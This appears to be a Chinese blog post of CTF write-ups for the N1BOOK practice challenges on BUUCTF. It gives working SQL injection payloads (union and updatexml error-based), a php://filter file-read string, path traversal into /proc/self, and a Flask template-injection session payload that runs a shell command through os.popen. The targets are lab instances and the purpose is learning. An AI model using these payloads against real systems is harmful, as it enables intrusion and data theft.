BUU的N1BOOK系列是我从未接触过的一个系列,鉴于被BUU的WEB搞崩心态,换个类型,换个心情OωO。 解了一道题发现是和《从0到1 CTFer成长之路》合作的题目,这样也不错,对新手来说是很平滑的学习路线。 2021.9.22 阴转晴
《从0到1:CTFer成长之路》书籍配套题目,来源网站:book.nu1l.com
打开环境,提示:敏感文件 科普一波 常见的敏感文件:
1、gedit备份文件,格式为filename~,比如index.php~
2、vim备份文件,格式为.filename.swp或者*.swo或者*.swn,比如.index.php.swp
3、robots.txt
通过一个个访问目录也可以得到flag。 这里推荐工具:御剑(这里类似的扫描路径的软件也可以)PS:此时我的Mac一点也不香了,因为我不想开虚拟机。 其实工具dirsearch也是可以的,但是依靠字典(我们日常的CTF里面总也有些奇奇怪怪的文件不在字典里面) 最后经过我辛苦的一番操作,可以得到以下三个路径返回正常robots.txt index.php~ .index.php.swp
1.访问robots.txt看看,发现可一个命名为:/flag1_is_her3_fun.txt的文件,访问看看。
User-agent: *
Disallow:
/flag1_is_her3_fun.txt
直接拿到flag的一半???
flag1:n1book{info_1
那剩下一半flag在哪里???我不猜,我让工具替我猜。 2.这里我们访问index.php~的时候发现了字符串:
flag2:s_v3ry_im
但是这个拼接起来少个反括号,说明还有! 3.访问扫描出来的最后一个路径:.index.php.swp
flag3:p0rtant_hack}
拼接起来:
flag:n1book{info_1s_v3ry_imp0rtant_hack}
看来BUU和《从0到1 CTFer成长之路》合作了,那么后续再给自己挖个大坑,记录相关的知识点,今晚试水先解一道题。
看看能不能找到信息吧?
解题关键点:如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。 题目中提示是Git测试,此时我们可以使用GitHack脚本对其进行测试。 下载地址:GitHack 在GitHub上下载源码的压缩包后解压,然后打开终端:(这里需要python2才行)
这时候打开GitHack路径中新增的文件夹(也就是输入的域名)里面有一个index.html,点开它(用浏览器打开)
题目很简单,考察点是Git泄露的危险,但是这些知识点没有学习路线,零碎学的不用就又会忘记,这里我打算单独再开个分支,归纳《从0到1 CTFer成长之路》中的知识点,希望大家做题前后都去反复看看,不要为了做题而做题,不要为了刷flag而刷flag。
巴拉巴拉看完了说了一大堆,没什么特别的,做WEB题纪律性的操作过一遍,发现网站的URL:
/index.php?id=1
(1)寻找注入点
?id=1' and 1=2 页面出现错误,说明存在注入点 id
(2)测试有几个回显 ?id=1’ order by 3 --+ 页面正常
?id=1’ order by 4 --+ 页面报错,说明存在2,3两个回显
(3)开始查库查表查字段
1.查库名:
payload:?id=-1' union select 1,database(),3 --+
回显说数据库名就是 note
2.查表名:
?id=-1' union select 1,database(),table_name from information_schema
.tables where table_schema='note' limit 0,1 --+
?id=-1' union select 1,database(),table_name from information_schema
.tables where table_schema='note' limit 1,1 --+
发现这边只有两个表,一个是fl4g,一个是notes
3.相比之下 fl4g 更有可能,查一下它的字段:
payload:?id=-1' union select 1,database(), group_concat(column_name) from
information_schema.columns where table_name='fl4g' --+
4.查询字段:
payload:?id=-1' union select 1,database(), group_concat(fllllag) from fl4g --+
拿下flag,这道题就是SQL语句的练习与判断,可以去看看我的BUU-WEB的SQL注入的相关题目,后期我会单独开文章单独讲,这里就不再赘述。
题目提示:请访问 /login.php /user.php
纪律性:进入页面后习惯性地查看源代码发现有一行注释提示,告诉我们:可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到:
这里为了解题方便,就不用HackBar了,这里用Burp Suite: 1.先关闭拦截 2.输入一个用户名和密码 3.打开拦截 4.点击登录 5.发送到Repeater 6.添加:?tips=1 7.send
用dual进行测试:
name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)--+&pass=xxxx
(密码写啥都行,因为前面注释掉密码了)
根据报错的提示我们可以发现是select被过滤了,尝试一下大小写绕过:
name=1'and updatexml(1,concat(0x7e,(sELECT 1 from dual)),1)--+&pass=1' and 1=2 --+
成功得到正常回显:
开始注入: 1.查表名: 要看fl4g的字段,把之前的两个地方改为group_concat(column_name)和information_schema.columns where table_name=‘fl4g’,整理payload:
name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from
information_schema.columns where table_name='fl4g')),1)--+&pass=1' and 1=2 --+
2.查看字段获取flag: payload:
name=1'and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)--+&pass=1' and 1=2 --+
flag:n1book{login_sqli_is_nice}
题目原理:
1.有的网站会开启错误调试信息方便开发者调试,可以利用报错信息进行报错注入 2.updatexml第二个参数应为合法XPATH路径,否则会在引发报错的同时输出传入的参数 3.dual用于测试数据库是否可以正常使用
发现后面传了参数:?p=hello 这是在提示一个东西:任意文件读取,本道题的考点是php伪协议 解题: php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。 (1)原理 PHP向用户提供的指定待打开文件的方式,是一个文件流 PHP的Filter机制,可对目前的协议进行一定的处理,比如将当前文件流的内容进行Base64编码。使用方法
php://filter/read=convert.base64-encode/resource=xxx
利用Filter机制,构造形如以上的攻击数据可以读取文件,拿到各种文件的源码 (2)通用payload:
通用格式:
http://127.0.0.1/cmd.php?file=php://filter/convert.base64-encode/resource=cmd
(3)本题payload:
http://b339945d-9f9c-46ea-8640-710e084edfd7.node4.buuoj.cn:81/
?p=php://filter/convert.base64-encode/resource=flag
(4)将得到的base64进行解码:
编码:PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9
明文:<?php
die('no no no');
//n1book{afr_1_solved}
写在最后:关于PHP伪协议我会单独开一篇文章单独讲(又给自己挖坑),如果后面我忘了,记得打醒我......
看到这里还是有点懵,目录穿越看看上层文件,在网址输入:/img../
看到flag文件,点击发现下载下来一个文件。
emmmm,好无聊,就这么结束了。
随便输入一个admin,点击进去又是一个链接:
观察URL,有一个name参数,思路在这里就断了,但是由于我有《从0到1 CTFer成长之路》这本书,于是我就翻了一下发现有一个章节的知识点(如果有书请翻看:P39-1.3.2文件读取漏洞常见读取路径)在Linux系统中,服务器信息(绝对路径)中有一个/proc目录 关于/proc目录: 通常存储着进程动态进行的各种信息,本质上是一种虚拟目录。注意:如果查看非当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self/代替/proc/[pid]/即可。
1.对应目录下的cmdline可读出比较敏感的信息,如使用mysql -uxxx -pxxxx登录MySQl,会在cmdline中显示明文密码:
/proc/[pid]/cmdline ([pid]指向进程所对应的终端命令)
2.有时候我们无法获取当前应用所在的目录,通过cwd命令可以直接跳转到当前目录:
/proc/[pid]/cwd/ ([pid]指向进程的运行目录)
3.环境变量中可能存在secret_key,这时也可以通过environ进行读取:
/proc/[pid]/environ ([pid]指向进程运行时的环境变量)
所以综上所述利用这个name参数获取当前执行系统命令:
payload:URL/article?name=../../../../../proc/self/cmdline
得到python server.py,然后查看server.py的源代码:
payload:URL/article?name=../../../../../proc/self/cwd/server.py
可以看到有个flag.py和key.py 在flag.py中应该是存在flag,但是不能查看
if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code
template = None
if session['n1code'] is not None:
template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %
session['n1code']
session['n1code'] = None
return render_template_string(template)
可以看到这里存在ssti,可以用flask的session伪造获取flag 这里偷懒没有自己伪造,这里直接就用了别人的:
{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()
[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}
关于伪造session我之前WEB也有提到,具体方法:第20题
#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'
伪造:
./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code':
'{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\']
.popen(\'cat flag.py\').read()}}'}"
伪造结果: .eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPlj NjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q- vTkpKpV1BcrHygP.YU0sHg.kzXojXHR6PsJpJip6F_P9OjasbE 修改Session:(1.Hackbar 2.Burp Suite) 先在终端上运行一波:flask_session_cookie_manager3.py 拿到伪造session:
通过Repeater修改Cookie session并且send